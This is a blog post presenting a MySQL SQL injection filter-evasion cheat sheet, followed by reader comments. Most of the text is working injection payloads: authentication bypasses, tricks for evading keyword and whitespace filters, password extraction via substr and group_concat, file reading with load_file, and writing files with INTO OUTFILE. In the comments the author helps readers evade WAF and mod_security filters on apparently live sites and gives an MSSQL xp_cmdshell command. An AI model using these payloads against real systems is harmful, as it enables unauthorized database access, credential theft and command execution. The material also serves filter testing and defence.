SQLi filter evasion cheat sheet (MySQL)

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.

About these ads

37 Responses to SQLi filter evasion cheat sheet (MySQL)

  1. Martijn says:

    The best solution is, of course, to use parameterized queries.

  2. The Moorish says:

    Excellent as i expected! :)

    but would you please explain what you did here?

    /vuln.php?id=1 union/*&sort=*/select pass from users– -

    • VADiUM says:

      The Moorish:
      I believe if there is sqli in both the id and sort parameter so it looked like this:

      SELECT * FROM users WHERE id = $_GET[id] ORDER BY $_GET[sort]

      So if you inject you get
      SELECT * FROM users WHERE id = 1 union/* ORDER BY */select pass from users–- -

      • Reiners says:

        exactly. the trick is that the filter almost always gets applied on each parameter. So if you split up your injection and inject the keyword “select” in one parameter and the keyword “union” in another parameter a “union select” will never be detected.

  3. kabel says:

    Really nice, thx :)
    I guess, I’m not the only one that would appreciate a pdf version of your cheatsheet ;)

  4. aze says:

    Thanks.
    Fine article.

  5. Freddy says:

    Yeah, a PDF version would be great. All on one page, sorted and aligned.. :)

  6. Rspot says:

    Is it a typo that youve put that it filters and, yet used and in pretty much all of those keyword filtering ones?

    Also, lets say I have a website that filters union, select, join, left, right. And thats all, is there anyway of breaking the keyword up so it ends up connected and would still act like one? (At the moment the site replaces one of the letters in the keyword with its html entity thus breaking the injection)

    • Reiners says:

      you can just use “&&” or the function if() as alternative for “and”, however it was a typo, you are right ;)
      There is no way to break up single keywords. However html entities contain a # which is a on line comment so you may be able to abuse this. I tried some variations but could not come up with something.

  7. rahim says:

    the previous post did’t show up becuase i used php tag

    /admin/login.php
    //the login page (i wrote this script from my head , i don’t remember it well so go easy on my if i wrote something wrong )
    $userlvel=’1′; // in admin page login, in other pages is ’2′
    $user=trim($_POST['username']);
    $query=”SELECT * FROM users WHERE user = ‘$user’ AND userlevel =’$userlevel’”;
    $iquery=trim($guery);

    than it check’s the pass if is’t it correct

    i have an account with user=’me’ and my userleve is ’2′ i think the i should inject this
    user=” m’ AND userlevel=’2′– -”
    to bybass the authification
    the problem is i can’t use quotes or # or %00 i tryed char() and other bybass method but it didn’t work !!!
    is there any way to bybass it ???????????

  8. rahim says:

    emmm
    one more thing
    if i try this
    ‘=”– -
    it will be
    select * from users where user=’/’=/’/’ — – (the rest will be ignored)

    if only i can take off that backslash after the equal statement i can generate this
    select * from users where user=’/’=’/’ — –
    right ???
    any idea ????

    • Reiners says:

      hi rahim,
      you miss an important thing here: escaping quotes that are written in quotes is safe and the common way to prevent SQL injection. that means if you inject into static quotes and your input is properly escaped then there is no SQL injection vulnerability.
      however just to be sure, try to inject backslashes:
      $user=\
      $userlevel= or 1=1– -
      will become:
      SELECT * FROM users WHERE user = ‘\’ AND userlevel =’ or 1=1– -’

  9. rahim says:

    well, thanks
    i really didn’t expect that you’ll reply my post
    you are great man
    and thanks for the advice , i’ll try to inject the backslash
    and i really hope that you keep updating your blog with more articls
    because i read all what you posted in your blog and i am waiting for more
    :)

  10. idle says:

    Hi ,

    i find your post really impressive …
    it’s help me to pass some stage of a challenge …
    but know i’am stuck … and it’s really frustrating trying an trying again..

    here is the one :

    http://xplsql.cwsurf.de/sqlchallenge.php?direction=ASC

    thanks to your tips .. i progress (lpad tricks to avoid substr..)

    but i’m stuck here :

    password and ascii(lpad((select+password+from+users+limit+1),1,space(1)))>10

    can’t make this >10 to be evaluate …
    so if you have an idea or a clue … it’s would be great since this challenge is really different from the other i have done so far

  11. arthuer says:

    hi all,
    i have a question.
    if the input is uppcase’ed, can one bypass this?
    so if the quere is just applied on PHPs strotupper?

    so, column names do no more match and mysql says column not found…
    can on bypass this?

    thanks!

  12. arthuer says:

    basically its hard since mysql doesnt accept any modifications…well but i bet there is a way ;)

  13. hmadrwx says:

    nice post.. just one question :
    how do we bypass \btable_name\b filter?
    thanks

    • Reiners says:

      Hi, normally that is not possible. however during the mod_security challenge I was able to bypass this filter by abusing other generic filters like SQL comments (e.g.: mod_security ignores everything between /* */ and after #).

      • hmadrwx says:

        but now they’ve patched those payload that abusing sql comments. I was also using SQL comments to bypass level II mod_security challenge :)

  14. l20ot says:

    hi,
    when i use: user=a’ union select username from users#
    i get this error 500 internal server error!
    is there anyway to bypass it ?

    the website block union command …

  15. l20ot says:

    forget to say! i used and (select pass from users limit 1)=secret#
    and got: Table ‘auth.users’ doesn’t exist

    when i changes users to jos_users ( real table name )
    i got 500 error again ( blocked )

    sqli is in a form …

    • Reiners says:

      well I can’t do more than pointing you to the cheatsheet above without having a look at the site myself. if they block the table name then you are out of luck. try to submit only the table name ?user=jos_users to verify if it is only detected with connected keywords (maybe bypassable) or even detected as single word (not bypassable afaik).
      good luck =)

      • Reiners says:

        oh and btw: if you are injecting into a table that is already SELECTing from jos_users, you dont need to inject the table name! see second last example in the cheatsheet under “Keyword filter”.

  16. inject0r says:

    Hi Reiners,

    I wondering if it’s possible to bypass pattern which truncates anything between `union` and `select` and let mod_security do the rest .. pattern like this:

    $r = preg_replace( “/ (union)[^select]+(select)/i ” , “$1 $2″ ); // results: union select.

    thanks.
    inject0r,

    • Reiners says:

      Hi,
      well then you need to bypass mod_security (also think about avoiding union select and using subselects instead) but I wont spoil a bypass for free ;P
      cheers,
      Reiners

  17. Learner SQL says:

    Graet .
    Very nice article…

    But HOW to bypassing filtered keyword,
    i.e : site.com/news.php?id=1+union+select+1,2,group_concat(table_name)
    site.com/news.php?id=1+union+select+1,2,group_concat(/*!table_name*/)

    the problem is, keyword “group_concat” give me a 403 Forbidden page.

    How to solve that?
    Big thaks for you.

    • Reiners says:

      you cannot obfuscate the function name. if it checks for “group_concat” you need a general filter bypass (like /*!group_concat*/) or simply another function that is not blocked.

  18. p0pc0rn says:

    hye there Reiners.thanks for the tutorials and details.
    just want a quick question. if the website filtered “SELECT”,like in your post,you just shows how to check the version() value.how about to know the table_name value and others?
    we still need to use “SELECT” in this case isn’t it?
    or the only choice we have just trying to guess the column_name?
    thanks :D
    p0pc0rn

  19. Attiglio Mauroni says:

    Hi there .I blocked in sql injection pentest challange.I dont now how to replace the comma.I want get only the version number but the comma is filtered or replaced with …..

    http://zerocoolhf.altervista.org/level2.php?id=1%27%20and%201=2%20union%20select%201,2,3–%20-

  20. Sew Attacker says:

    Hi,
    how to terminate string without using ‘ (single quote).
    Previously ‘ or 1=1 used to work, but now we have implemented a check on ‘ (single quote) character such as,
    If (username.indexOf(“‘”) != -1 ) { attack }

    Thanks,

    • Reiners says:

      hi, you can still use a backslash if you have two injections in one query: ?name=\&password=or 1=1– -
      select * from users where name = ‘\’ and password = ‘ or 1=1– -’;
      and all injections that are not embedded to quotes are still vulnerable too (because quotes are not necessary for exploitation): ?id=1 or 1=1
      select * from users where id = 1 or 1=1

  21. samy says:

    how can i maintain white space in sql server if it is removed by the app server …./**/ did work in some statements but in some others not! ( for example EXEC sp_configure)

    • Reiners says:

      EXEC[xp_cmdshell][dir]

      or try different whitespace characters in mssql:

      %01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 83 other followers

%d bloggers like this: